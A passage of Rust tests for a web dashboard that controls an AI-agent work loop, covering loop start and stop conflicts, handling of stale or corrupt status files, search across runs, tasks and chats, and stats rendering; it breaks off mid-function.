11396        assert_eq!(res.status, 200, "{}", res.body);
11397        let view = res.json();
11398        assert_eq!(view["running"], true);
11399        assert_eq!(
11400            view["owned"], true,
11401            "the loop the UI started is the UI's own to stop: {view}"
11402        );
11403        assert_eq!(
11404            view["merge"],
11405            Value::Null,
11406            "no override was given, so each repository's own config decides"
11407        );
11408
11409        // The same object from the route a waking phone polls first. Two
11410        // surfaces disagreeing about whether anything is running is exactly
11411        // the confusion this UI exists to remove.
11412        let health = f.get("/api/health").await.json();
11413        assert_eq!(health["loop"]["running"], true, "{health}");
11414        assert_eq!(health["loop"]["owned"], true, "{health}");
11415
11416        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11417    }
11418
11419    #[tokio::test]
11420    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11421        let f = Fixture::start().await;
11422        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11423        assert_eq!(first.status, 200, "{}", first.body);
11424
11425        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11426        assert_eq!(
11427            again.status, 409,
11428            "two loops on one queue race for the same claims: {}",
11429            again.body
11430        );
11431        assert!(
11432            again.json()["error"]
11433                .as_str()
11434                .is_some_and(|e| e.contains("already running the loop")),
11435            "the refusal has to say why: {}",
11436            again.body
11437        );
11438        assert_eq!(
11439            f.get("/api/loop").await.json()["running"],
11440            true,
11441            "and the loop that was already running is untouched by it"
11442        );
11443
11444        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11445    }
11446
11447    #[tokio::test]
11448    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11449        let f = Fixture::start().await;
11450        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11451
11452        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11453        assert_eq!(
11454            res.status, 200,
11455            "the answer must not wait for the loop: a run in flight is tens of \
11456             minutes and the operator is holding a phone: {}",
11457            res.body
11458        );
11459
11460        let view = settled(&f, |v| v["running"] == false).await;
11461        assert_eq!(view["owned"], false);
11462        assert_eq!(
11463            view["stopping"], false,
11464            "a loop that has stopped is not still stopping: {view}"
11465        );
11466        assert_eq!(
11467            view["last_error"],
11468            Value::Null,
11469            "a loop that was asked to stop did not fail: {view}"
11470        );
11471
11472        // Idempotent, because the operator cannot tell a slow stop from a lost
11473        // one and will press it again.
11474        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11475        assert_eq!(twice.status, 200, "{}", twice.body);
11476    }
11477
11478    #[tokio::test]
11479    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11480        let f = Fixture::start().await;
11481        // How the operator has been doing it: a `magi serve` of their own,
11482        // heartbeat fresh, in the same home this UI reads.
11483        write_daemon(f.home.path(), Timestamp::now());
11484
11485        let view = f.get("/api/loop").await.json();
11486        assert_eq!(view["running"], false, "not in this process: {view}");
11487        assert_eq!(view["owned"], false, "and not this process's to control");
11488        assert_eq!(
11489            view["daemon"]["running"], true,
11490            "but a loop is alive somewhere, which is what the UI must say"
11491        );
11492        assert_eq!(view["daemon"]["pid"], 4242);
11493
11494        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11495            let res = f.post("/api/loop", Some(body)).await;
11496            assert_eq!(
11497                res.status, 409,
11498                "neither button may pretend to work on someone else's loop: {}",
11499                res.body
11500            );
11501            assert!(
11502                res.json()["error"]
11503                    .as_str()
11504                    .is_some_and(|e| e.contains("4242")),
11505                "the refusal has to name the process the operator must go to: {}",
11506                res.body
11507            );
11508        }
11509        assert_eq!(
11510            f.get("/api/loop").await.json()["running"],
11511            false,
11512            "and the refusal started nothing"
11513        );
11514    }
11515
11516    #[tokio::test]
11517    async fn a_stale_status_file_is_not_a_foreign_owner() {
11518        let f = Fixture::start().await;
11519        write_daemon(
11520            f.home.path(),
11521            Timestamp::now() - jiff::SignedDuration::from_secs(60),
11522        );
11523
11524        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11525        assert_eq!(
11526            res.status, 200,
11527            "a daemon killed a minute ago must not lock the loop out of its \
11528             own home for good: {}",
11529            res.body
11530        );
11531        assert_eq!(res.json()["running"], true);
11532
11533        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11534    }
11535
11536    #[tokio::test]
11537    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11538        let f = Fixture::start().await;
11539        let before = f.get("/api/health").await.json()["loop_rev"]
11540            .as_u64()
11541            .expect("a loop revision");
11542
11543        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11544
11545        let after = f.get("/api/health").await.json()["loop_rev"]
11546            .as_u64()
11547            .expect("a loop revision");
11548        assert!(
11549            after > before,
11550            "the loop is in-process state, so this counter is the only thing \
11551             that tells a second device the first one started it: {before} -> \
11552             {after}"
11553        );
11554
11555        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11556    }
11557
11558    #[tokio::test]
11559    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11560        let f = Fixture::with_loop(launch_broken).await;
11561
11562        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11563        assert_eq!(
11564            res.status, 200,
11565            "starting it is not the failure: {}",
11566            res.body
11567        );
11568
11569        let view = settled(&f, |v| v["last_error"].is_string()).await;
11570        assert_eq!(
11571            view["running"], false,
11572            "a loop that died must not read as running, or the operator has \
11573             nothing to press: {view}"
11574        );
11575        assert_eq!(view["owned"], false);
11576        assert!(
11577            view["last_error"]
11578                .as_str()
11579                .is_some_and(|e| e.contains("read-only file system")),
11580            "the phone is where a loop that died at 3am is visible: {view}"
11581        );
11582
11583        // And it can be started again: the corpse was reaped, not left to
11584        // occupy the slot.
11585        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11586        assert_eq!(again.status, 200, "{}", again.body);
11587        assert!(
11588            again.json()["last_error"]
11589                .as_str()
11590                .is_none_or(|e| !e.contains("read-only file system")),
11591            "a fresh start does not keep showing why the last one died: {}",
11592            again.body
11593        );
11594    }
11595
11596    /// An upgrade parks the run in flight before it restarts, and a park waits
11597    /// for the node - up to `timeout_implement`, an hour by default. The deck
11598    /// has to answer for all of it: the operator has just been told a run is
11599    /// finishing first, and this address is the only place that says how it is
11600    /// going. It did not, once - the listener went with the `select!` arm that
11601    /// began the handover, and the phone got `Cannot reach magi: Failed to
11602    /// fetch` for the rest of the wave.
11603    ///
11604    /// The other half is the older rule: the address must be free *before* the
11605    /// successor is started, or it dies on "address already in use" with its
11606    /// stdio sent to null and the deck never comes back.
11607    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11608    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11609        let home = TempDir::new().expect("temp home");
11610        let runs = home.path().join("runs");
11611        std::fs::create_dir_all(&runs).expect("runs dir");
11612        let ui = Ui::new(
11613            Queue::at(home.path().join("queue")),
11614            Questions::at(home.path().join("questions")),
11615            Talks::at(home.path().join("talks")),
11616            runs,
11617            home.path().to_path_buf(),
11618            PathBuf::from("/repo/magi"),
11619        )
11620        .with_worktrees_root(home.path().join("wt"))
11621        .with_launch(launch_knocking_on_the_way_out);
11622        let looping = ui.looping();
11623        let turns = ui.turns();
11624        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11625            .await
11626            .expect("bind loopback");
11627        let addr = listener.local_addr().expect("local addr");
11628        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11629        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11630
11631        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11632        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11633
11634        // The successor's whole job, and the one thing it cannot do while this
11635        // process still holds the socket.
11636        //
11637        // One bind is not enough, and the reason is not this process's order of
11638        // operations: aborting the accept loop drops the listener, but axum
11639        // serves each accepted connection on a task of its own, and those are
11640        // not aborted. The requests above left sockets on this very address,
11641        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
11642        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
11643        // Production absorbs that in `bind_waiting`; so does this. Only
11644        // `AddrInUse` is retried, and the listener is released before the
11645        // closure returns - were the order wrong, the listener would outlive
11646        // the closure and every attempt would fail. Inferred from the bind
11647        // rules and the code; not reproduced on macOS.
11648        let bound = std::sync::Mutex::new(None);
11649        hand_over(
11650            home.path(),
11651            &looping,
11652            &turns,
11653            &|_: &[String]| Duration::from_secs(5),
11654            served,
11655            |_| {
11656                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11657                let attempt = loop {
11658                    match std::net::TcpListener::bind(addr) {
11659                        Ok(l) => {
11660                            drop(l);
11661                            break Ok(());
11662                        }
11663                        Err(e)
11664                            if e.kind() == std::io::ErrorKind::AddrInUse
11665                                && std::time::Instant::now() < deadline =>
11666                        {
11667                            std::thread::sleep(std::time::Duration::from_millis(10));
11668                        }
11669                        Err(e) => break Err(e.to_string()),
11670                    }
11671                };
11672                *bound.lock().expect("bound") = Some(attempt);
11673                Ok(1)
11674            },
11675        )
11676        .await
11677        .expect("hand over");
11678
11679        assert_eq!(
11680            *PARK_HEARD.lock().expect("park heard"),
11681            Some(200),
11682            "the deck must answer while the loop is parking"
11683        );
11684        let attempt = bound
11685            .lock()
11686            .expect("bound")
11687            .take()
11688            .expect("the successor was started");
11689        assert!(
11690            attempt.is_ok(),
11691            "and the address must be free by the time it is: {attempt:?}"
11692        );
11693    }
11694
11695    #[tokio::test]
11696    async fn a_newer_daemon_status_file_still_renders() {
11697        let f = Fixture::start().await;
11698        // A field this build has never heard of must not turn the status line
11699        // into a 500; that is the whole reason the reader is permissive.
11700        std::fs::write(
11701            f.home.path().join("daemon.json"),
11702            serde_json::json!({
11703                "schema": 2,
11704                "updated_at": Timestamp::now().to_string(),
11705                "idle": true,
11706                "surprise": { "nested": [1, 2, 3] },
11707            })
11708            .to_string(),
11709        )
11710        .expect("write daemon.json");
11711
11712        let health = f.get("/api/health").await;
11713
11714        assert_eq!(health.status, 200);
11715        assert_eq!(health.json()["daemon"]["running"], true);
11716    }
11717
11718    #[tokio::test]
11719    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11720        let f = Fixture::start().await;
11721        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11722        let broken = f.runs().join("20260902-140502-bad");
11723        std::fs::create_dir_all(&broken).expect("run dir");
11724        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11725
11726        let list = f.get("/api/runs").await;
11727        let detail = f.get("/api/runs/20260902-140502-bad").await;
11728
11729        assert_eq!(list.status, 200);
11730        let listed = list.json();
11731        let ids: Vec<&str> = listed
11732            .as_array()
11733            .expect("an array")
11734            .iter()
11735            .map(|r| r["id"].as_str().expect("an id"))
11736            .collect();
11737        assert_eq!(
11738            ids,
11739            vec!["20260902-140501-good"],
11740            "one unreadable run must not cost the operator the whole history"
11741        );
11742        assert_eq!(detail.status, 500);
11743        assert!(
11744            detail.json()["error"]
11745                .as_str()
11746                .is_some_and(|e| e.contains("run.json")),
11747            "the failure names the file to look at: {}",
11748            detail.body
11749        );
11750        // A skipped run has to be countable somewhere, or the UI shows an
11751        // empty history with nothing to explain it - which is exactly what a
11752        // directory full of older-schema runs looks like.
11753        let health = f.get("/api/health").await;
11754        assert_eq!(health.json()["runs_unreadable"], 1);
11755    }
11756
11757    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
11758    #[tokio::test]
11759    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11760        let f = Fixture::start().await;
11761        let runs = f.runs();
11762        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11763        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11764        // Text three levels down, in a shape no current RunState has: an older
11765        // schema must still search.
11766        let path = runs.join("20260902-140502-bbbb").join("run.json");
11767        let mut v: serde_json::Value =
11768            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11769        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11770        std::fs::write(&path, v.to_string()).unwrap();
11771        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11772        std::fs::write(
11773            runs.join("20260902-140503-cccc").join("run.json"),
11774            "{ not json",
11775        )
11776        .unwrap();
11777
11778        let res = f.get("/api/search?scope=runs&q=quokka").await;
11779        assert_eq!(res.status, 200, "{}", res.body);
11780        let v = res.json();
11781        assert_eq!(v["total"], 1, "{v}");
11782        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11783        assert_eq!(v["hits"][0]["field"], "text");
11784        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11785        let parts = v["hits"][0]["snippet"].as_array().unwrap();
11786        assert!(
11787            parts
11788                .iter()
11789                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11790            "{v}"
11791        );
11792        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11793        assert_eq!(
11794            flat, "The Quokka leaks across threads",
11795            "whitespace is collapsed"
11796        );
11797
11798        // Terms are ANDed, across different fields, case-insensitively.
11799        let both = f
11800            .get("/api/search?scope=runs&q=MOBILE%20quokka")
11801            .await
11802            .json();
11803        assert_eq!(both["total"], 1, "{both}");
11804        let neither = f
11805            .get("/api/search?scope=runs&q=quokka%20zebra")
11806            .await
11807            .json();
11808        assert_eq!(neither["total"], 0, "{neither}");
11809        // Everything in the task statement is reachable, not only the row text.
11810        let stmt = f
11811            .get("/api/search?scope=runs&q=mobile%20first")
11812            .await
11813            .json();
11814        assert_eq!(stmt["total"], 2, "{stmt}");
11815        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11816        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11817    }
11818
11819    #[test]
11820    fn snippet_ignores_terms_longer_than_the_field() {
11821        let terms = ["ok".to_owned(), "elephant".to_owned()];
11822        let parts = snippet_of("ok", &terms);
11823        assert_eq!(
11824            parts,
11825            vec![SnippetPart {
11826                text: "ok".to_owned(),
11827                hit: true
11828            }]
11829        );
11830    }
11831
11832    #[test]
11833    fn snippet_marks_matches_longer_than_the_window() {
11834        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11835        let hit_len = |parts: &[SnippetPart]| -> usize {
11836            parts
11837                .iter()
11838                .filter(|p| p.hit)
11839                .map(|p| p.text.chars().count())
11840                .sum()
11841        };
11842        let total =
11843            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11844
11845        let long = "a".repeat(120);
11846        let parts = snippet_of(&long, std::slice::from_ref(&long));
11847        assert!(hit_len(&parts) > 0, "{parts:?}");
11848        assert!(total(&parts) <= cap);
11849
11850        let ja = "あ".repeat(130);
11851        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11852        assert!(hit_len(&parts) > 0, "{parts:?}");
11853        assert!(total(&parts) <= cap);
11854
11855        // A short hit, then one straddling the window's end.
11856        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11857        let term = format!("ab{}", "c".repeat(100));
11858        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11859        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11860        assert!(total(&parts) <= cap);
11861
11862        // Only the head matches: not highlighted.
11863        let text = format!("{}z", "a".repeat(119));
11864        let parts = snippet_of(&text, &["a".repeat(120)]);
11865        assert_eq!(hit_len(&parts), 0, "{parts:?}");
11866    }
11867
11868    #[tokio::test]
11869    async fn search_caps_hits_and_snippet_length() {
11870        let f = Fixture::start().await;
11871        let runs = f.runs();
11872        for n in 0..(SEARCH_MAX_HITS + 5) {
11873            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11874        }
11875        let v = f.get("/api/search?scope=runs&q=web").await.json();
11876        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11877        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11878        assert_eq!(v["truncated"], true);
11879        // Every listed run hit carries its list row for the page's filters.
11880        assert!(
11881            v["hits"]
11882                .as_array()
11883                .unwrap()
11884                .iter()
11885                .all(|h| h["run"]["status"] == "merged")
11886        );
11887
11888        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11889        let parts = snippet_of(&long, &["needle".to_owned()]);
11890        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11891        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11892        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11893    }
11894
11895    #[tokio::test]
11896    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11897        let f = Fixture::start().await;
11898        let queue = f.queue();
11899        let mut t = Task::new(
11900            "short title".to_owned(),
11901            "line one\nthe hidden Armadillo detail".to_owned(),
11902            PathBuf::from("/repo/magi"),
11903            Source::Agent {
11904                run: "r1".to_owned(),
11905                node: "chat".to_owned(),
11906            },
11907        );
11908        t.last_error = Some("disk full on /tmp".to_owned());
11909        queue.put(&mut t).expect("file the task");
11910
11911        for (q, want) in [
11912            ("armadillo", 1),
11913            ("disk%20FULL", 1),
11914            ("chat", 1),
11915            ("queued", 1),
11916            ("short%20nothing", 0),
11917        ] {
11918            let v = f
11919                .get(&format!("/api/search?scope=tasks&q={q}"))
11920                .await
11921                .json();
11922            assert_eq!(v["total"], want, "{q}: {v}");
11923        }
11924        for bad in [
11925            "/api/search?scope=tasks&q=",
11926            "/api/search?scope=tasks&q=%20",
11927            "/api/search?scope=chats&q=",
11928            "/api/search?scope=chats&q=%20",
11929            "/api/search?scope=nope&q=a",
11930            "/api/search?q=a",
11931        ] {
11932            assert_eq!(f.get(bad).await.status, 400, "{bad}");
11933        }
11934    }
11935
11936    /// Write one conversation file the way the store reads it back.
11937    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11938        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11939            .expect("seat value");
11940        let turns: Vec<serde_json::Value> = turns
11941            .iter()
11942            .map(|(who, body)| {
11943                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11944            })
11945            .collect();
11946        let doc = serde_json::json!({
11947            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11948            "status": status, "turns": turns,
11949            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11950            "seat": seat,
11951        });
11952        let dir = f.home.path().join("talks");
11953        std::fs::create_dir_all(&dir).expect("talks dir");
11954        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11955    }
11956
11957    #[tokio::test]
11958    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11959        let f = Fixture::start().await;
11960        write_talk(
11961            &f,
11962            "20260901-000001-aaaa",
11963            "open",
11964            &[
11965                (
11966                    "operator",
11967                    "\n  Why does the Pangolin cache expire?\nsecond line",
11968                ),
11969                ("agent", "Because the TTL is thirty seconds."),
11970            ],
11971        );
11972        write_talk(
11973            &f,
11974            "20260901-000002-bbbb",
11975            "closed",
11976            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11977        );
11978        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11979
11980        let search = |q: &'static str| {
11981            let f = &f;
11982            async move {
11983                f.get(&format!("/api/search?scope=chats&q={q}"))
11984                    .await
11985                    .json()
11986            }
11987        };
11988
11989        let v = search("PANGOLIN").await;
11990        assert_eq!(v["scope"], "chats");
11991        assert_eq!(v["total"], 1, "{v}");
11992        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11993        assert_eq!(v["hits"][0]["field"], "title");
11994        assert_eq!(v["unreadable"], 1, "{v}");
11995        let marked: Vec<&str> = v["hits"][0]["snippet"]
11996            .as_array()
11997            .unwrap()
11998            .iter()
11999            .filter(|p| p["hit"] == true)
12000            .map(|p| p["text"].as_str().unwrap())
12001            .collect();
12002        assert_eq!(marked, ["Pangolin"]);
12003
12004        // An agent turn, in a closed conversation.
12005        let v = search("zebra").await;
12006        assert_eq!(v["total"], 1, "{v}");
12007        assert_eq!(v["hits"][0]["field"], "agent");
12008        // Words may sit in different turns; all must be present.
12009        assert_eq!(search("pangolin%20thirty").await["total"], 1);
12010        assert_eq!(search("pangolin%20zebra").await["total"], 0);
12011        // Bookkeeping is not searched.
12012        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
12013            assert_eq!(search(q).await["total"], 0, "{q}");
12014        }
12015        // The first line only is the title; the second line is still a turn.
12016        assert_eq!(search("second").await["hits"][0]["field"], "operator");
12017        // Open conversations are listed before closed ones.
12018        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
12019
12020        let v = f.get("/api/search?scope=nope&q=a").await;
12021        assert_eq!(v.status, 400);
12022        assert!(
12023            v.body.contains("scope must be runs, tasks or chats"),
12024            "{}",
12025            v.body
12026        );
12027    }
12028
12029    #[test]
12030    fn a_question_card_links_a_task_id_to_the_task_page() {
12031        let start = APP_JS
12032            .find("function updateAskCard(")
12033            .expect("updateAskCard exists");
12034        let body = &APP_JS[start..];
12035        let body = &body[..body.find("\n}\n").expect("function end")];
12036        assert!(body.contains("question.run_is_task"));
12037        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
12038        assert!(body.contains("`#/runs/${question.run}`"));
12039        assert!(body.contains("\"task\" : \"run\""));
12040    }
12041
12042    #[test]
12043    fn plain_text_message_surfaces_go_through_linkify() {
12044        assert!(APP_JS.contains("function linkify("));
12045        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
12046        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
12047        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
12048        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
12049        assert!(!APP_JS.contains("innerHTML = text"));
12050    }
12051
12052    #[test]
12053    fn stats_bars_share_one_id_keyed_plan() {
12054        let start = APP_JS
12055            .find("function statsBarRows(")
12056            .expect("statsBarRows exists");
12057        let body = &APP_JS[start..];
12058        let body = &body[..body.find("\n}\n").expect("function end")];
12059        assert!(body.contains("statsBarPlan(rows)"));
12060        assert!(body.contains("statsAgentTone(row.agent)"));
12061        assert!(!body.contains("candTone(i)"));
12062        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12063        for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12064            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12065        }
12066    }
12067
12068    #[test]
12069    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12070        let start = APP_JS
12071            .find("function renderStatsReviewerScatter(")
12072            .expect("renderStatsReviewerScatter exists");
12073        let body = &APP_JS[start..];
12074        let body = &body[..body.find("\n}\n").expect("function end")];
12075        assert!(body.contains("statsScatterPlan(reviewers)"));
12076        assert!(body.contains("statsAgentTone(d.agent)"));
12077        assert!(APP_JS.contains("function statsScatterPlan("));
12078        assert!(
12079            APP_JS.contains("d.submitted < STATS_LOW_N")
12080                || APP_JS.contains("r.submitted < STATS_LOW_N")
12081        );
12082        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12083        assert!(APP_CSS.contains(".precision-scatter"));
12084    }
12085
12086    #[test]
12087    fn advisor_reflection_is_drawn_as_stacked_segments() {
12088        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12089        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12090        let html = include_str!("../assets/ui/index.html");
12091        assert!(html.contains("Approximate"));
12092        for label in ["reflected strongly", "faint", "no proposal"] {
12093            assert!(html.contains(label));
12094        }
12095        let css = include_str!("../assets/ui/app.css");
12096        for c in ["refl-strong", "refl-faint", "refl-absent"] {
12097            assert!(css.contains(&format!(".{c} {{")));
12098        }
12099    }
12100
12101    #[test]
12102    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12103        assert!(APP_JS.contains("function statsDailyPlan("));
12104        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12105        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12106    }
12107
12108    #[test]
12109    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12110        let start = APP_JS
12111            .find("function scheduleSearch(")
12112            .expect("scheduleSearch exists");
12113        let body = &APP_JS[start..];
12114        let body = &body[..body.find("\n}\n").expect("function end")];
12115        assert!(body.contains("s.seq += 1"));
12116    }
12117
12118    /// The dashboard reads every run's state itself rather than trusting a
12119    /// separately-maintained count, so an unreadable run must be counted the
12120    /// same way `/api/health` counts it - never silently dropped the way the
12121    /// CLI's own `stats::load_all` drops it.
12122    #[tokio::test]
12123    async fn stats_runs_unreadable_matches_health() {
12124        let f = Fixture::start().await;
12125        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12126        let broken = f.runs().join("20260902-140502-bad");
12127        std::fs::create_dir_all(&broken).expect("run dir");
12128        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12129
12130        let stats = f.get("/api/stats").await;
12131        let health = f.get("/api/health").await;
12132
12133        assert_eq!(stats.status, 200);
12134        assert_eq!(stats.json()["totals"]["runs"], 1);
12135        assert_eq!(stats.json()["runs_unreadable"], 1);
12136        assert_eq!(
12137            stats.json()["runs_unreadable"],
12138            health.json()["runs_unreadable"],
12139            "the dashboard and /api/health must never disagree about how many \
12140             runs could not be read"
12141        );
12142    }
12143
12144    #[tokio::test]
12145    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12146        let f = Fixture::start().await;
12147        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12148        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12149        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12150
12151        let totals = &f.get("/api/stats").await.json()["totals"];
12152        assert_eq!(totals["runs"], 3);
12153        assert_eq!(totals["merged"], 1);
12154        assert_eq!(totals["stalled"], 1);
12155        assert_eq!(totals["in_progress"], 1);
12156        // A stalled run must never read as blocked/merged/ready - it is its
12157        // own bucket, not folded into a "decided" one.
12158        assert_eq!(totals["blocked"], 0);
12159        assert_eq!(totals["ready"], 0);
12160    }
12161
12162    #[tokio::test]
12163    async fn stats_advisors_report_proposals_and_reflection() {
12164        use crate::advise::{Advice, AdvisorRecord, Reflection};
12165        use crate::verdict::Proposal;
12166
12167        let f = Fixture::start().await;
12168        let mut state = RunState::new(
12169            PathBuf::from("/repo/magi"),
12170            "main".to_owned(),
12171            "0123456789abcdef".to_owned(),
12172            "task".to_owned(),
12173            Config::default(),
12174        );
12175        state.id = "20260902-140501-a".to_owned();
12176        state.status = RunStatus::Merged;
12177        state.advice = Some(Advice {
12178            records: vec![
12179                AdvisorRecord {
12180                    seat: "advisor-1".to_owned(),
12181                    agent: "alpha".to_owned(),
12182                    proposal: Some(Proposal {
12183                        approach: "do it".to_owned(),
12184                        key_tradeoff: "speed over memory".to_owned(),
12185                        risks: Vec::new(),
12186                        touches: Vec::new(),
12187                        why_not_naive: "breaks under load".to_owned(),
12188                    }),
12189                    error: None,
12190                    duration_ms: 0,
12191                    reflection: Reflection::Strong,
12192                },
12193                AdvisorRecord {
12194                    seat: "advisor-2".to_owned(),
12195                    agent: "alpha".to_owned(),
12196                    proposal: None,
12197                    error: Some("timed out".to_owned()),
12198                    duration_ms: 0,
12199                    reflection: Reflection::Absent,
12200                },
12201            ],
12202            synthesis: Some("blended brief".to_owned()),
12203        });
12204        let dir = f.runs().join(&state.id);
12205        std::fs::create_dir_all(&dir).expect("run dir");
12206        std::fs::write(
12207            dir.join("run.json"),
12208            serde_json::to_string_pretty(&state).expect("serialize run"),
12209        )
12210        .expect("write run.json");
12211
12212        // `alpha` is in no roster here; this test is about the rates.
12213        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12214        let alpha = advisors
12215            .as_array()
12216            .expect("an array")
12217            .iter()
12218            .find(|a| a["agent"] == "alpha")
12219            .expect("alpha row");
12220        assert_eq!(alpha["seated"], 2);
12221        assert_eq!(alpha["proposed"], 1);
12222        assert_eq!(alpha["absent"], 1);
12223        assert_eq!(alpha["strong"], 1);
12224        assert_eq!(alpha["faint"], 0);
12225        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12226    }
12227
12228    #[tokio::test]
12229    async fn stats_hides_agents_outside_the_roster_unless_all() {
12230        use crate::run::Candidate;
12231        let repo = TempDir::new().expect("repo dir");
12232        std::fs::write(
12233            repo.path().join("magi.toml"),
12234            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12235        )
12236        .expect("magi.toml");
12237        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12238        let mut state = RunState::new(
12239            PathBuf::from("/repo/magi"),
12240            "main".to_owned(),
12241            "0123456789abcdef".to_owned(),
12242            "task".to_owned(),
12243            Config::default(),
12244        );
12245        state.id = "20260902-140501-a".to_owned();
12246        state.status = RunStatus::Merged;
12247        for (label, agent) in [('A', "keep"), ('B', "retired")] {
12248            let mut c: Candidate = serde_json::from_value(serde_json::json!({
12249                "index": 0, "label": label.to_string(), "agent": agent,
12250                "branch": "b", "worktree": "/w",
12251            }))
12252            .expect("candidate");
12253            c.label = label;
12254            state.candidates.push(c);
12255        }
12256        let dir = f.runs().join(&state.id);
12257        std::fs::create_dir_all(&dir).expect("run dir");
12258        std::fs::write(
12259            dir.join("run.json"),
12260            serde_json::to_string_pretty(&state).expect("serialize run"),
12261        )
12262        .expect("write run.json");
12263
12264        let agents_of = |v: &serde_json::Value| -> Vec<String> {
12265            v["agents"]
12266                .as_array()
